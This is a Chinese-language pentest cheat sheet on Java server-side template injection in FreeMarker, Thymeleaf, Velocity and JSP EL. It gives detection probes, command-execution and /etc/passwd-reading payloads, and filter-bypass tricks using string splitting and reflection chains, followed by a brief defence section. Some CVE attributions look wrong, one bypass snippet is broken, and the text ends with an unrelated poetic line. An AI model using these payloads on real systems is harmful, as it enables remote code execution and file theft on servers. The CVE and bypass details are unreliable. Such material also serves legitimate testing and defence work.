一、基础知识
1. Java常见模板引擎
• FreeMarker:广泛用于企业级应用,语法为${expression}
。
• Thymeleaf:Spring生态主流模板引擎,语法为[[${expression}]]
。
• Velocity:Apache项目,语法为$variable
和#directive
。
• **JSP (JSTL)**:传统Java模板,支持表达式语言(EL)如${expression}
。
2. 开发中的代码实例
漏洞代码示例(FreeMarker)
// 危险操作:直接渲染用户输入
String userInput = request.getParameter("content");
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
Template template = new Template("injected", new StringReader(userInput), cfg);
StringWriter output = new StringWriter();
template.process(null, output); // 导致SSTI
漏洞代码示例(Thymeleaf)
// 危险操作:用户输入作为模板片段
String input = request.getParameter("param");
Context context = new Context();
context.setVariable("param", input);
String result = templateEngine.process(input, context); // 直接渲染用户输入
二、渗透关键点
1. 检测注入点
• 输入点:URL参数、模板动态拼接内容。
• 检测方法:
GET /page?param=${7 * 7} HTTP/1.1 <!-- FreeMarker/Velocity/JSP EL -->
GET /page?param=[[${7 * 7}]] HTTP/1.1 <!-- Thymeleaf -->
观察响应中是否返回49
。
2. 引擎识别
• FreeMarker:报错信息包含FreeMarker template error
。
• Thymeleaf:报错信息包含Thymeleaf
或TemplateProcessingException
。
• Velocity:报错信息包含Velocity
或ParseException
。
三、漏洞利用与Payload
1. FreeMarker注入
命令执行(需new
指令未禁用)
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ ex("id") }
文件读取
<#assign file = "freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd")>
<#assign is = "freemarker.template.utility.ObjectConstructor"?new()("java.io.FileInputStream", file)>
<#assign br = "freemarker.template.utility.ObjectConstructor"?new()("java.io.BufferedReader", "freemarker.template.utility.ObjectConstructor"?new()("java.io.InputStreamReader", is))>
<#list 1..1000 as _>
${ br.readLine()! }
</#list>
2. Thymeleaf注入
预处理表达式(高危)
// 用户输入为:__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
[[${param}]] // 渲染时触发命令执行
表达式语言(EL)利用
${T(java.lang.Runtime).getRuntime().exec('calc')} <!-- 需要启用表达式预处理 -->
3. Velocity注入
命令执行
#set($exec = $util.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
$exec.exec("id")
文件读取
#set($reader = $util.getClass().forName("java.io.FileReader").newInstance("/etc/passwd"))
#set($buf = $util.getClass().forName("java.io.BufferedReader").newInstance($reader))
#foreach($i in [1..1000])
$buf.readLine()
#end
4. JSP(JSTL)EL注入
命令执行(旧版EL)
${pageContext.request.getSession().setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id"))}
文件读取
${''.getClass().forName('java.io.BufferedReader').newInstance(''.getClass().forName('java.io.FileReader').newInstance('/etc/passwd')).readLine()}
四、防御手段
1. 通用防御
• 输入过滤:禁止用户输入直接嵌入模板逻辑。
• 沙盒模式:
• FreeMarker:配置new_builtin_class_resolver
限制类访问。
• Velocity:启用SecureUberspector
限制反射。
• Thymeleaf:禁用预处理表达式(spring.thymeleaf.mode=HTML
)。
2. 安全配置
• FreeMarker:
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
• Thymeleaf:避免使用@{}
动态拼接模板路径。
• JSP:禁用EL表达式(<%@ page isELIgnored="true" %>
)。
五、绕过技巧
1. 编码混淆
${''['cl'+'ass'].forName('java.la'+'ng.Run'+'time').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Run'+'time').getMethod('getRun'+'time').invoke(null),'id')}
2. 字符串拼接
#set($cmd = "j")
#set($cmd = $cmd + "ava.lang.Run")
$cmd.getRuntime().exec("id")
3. 反射链调用
<#assign rt = "freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime")>
<#assign method = rt?api.class.getMethod("getRuntime")>
${method.invoke(null)?api.exec("id")}
六、总结与参考
1. 测试流程
- 检测注入点 → 2. 识别引擎类型 → 3. 构造反射链 → 4. 执行命令/读取文件
2. 高危CVE
• CVE-2021-21346:Thymeleaf预处理表达式注入(影响版本<3.0.12)。
• CVE-2020-13952:Apache Velocity远程代码执行(影响版本<2.2)。
3. 参考资源
• FreeMarker安全指南
• Thymeleaf预处理漏洞分析
• JSP EL注入研究
备注:Java模板注入通常需要构造反射链或利用特定引擎的指令,渗透测试时需结合目标引擎版本调整Payload。重点关注Runtime.getRuntime().exec()
和文件读写操作。
梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。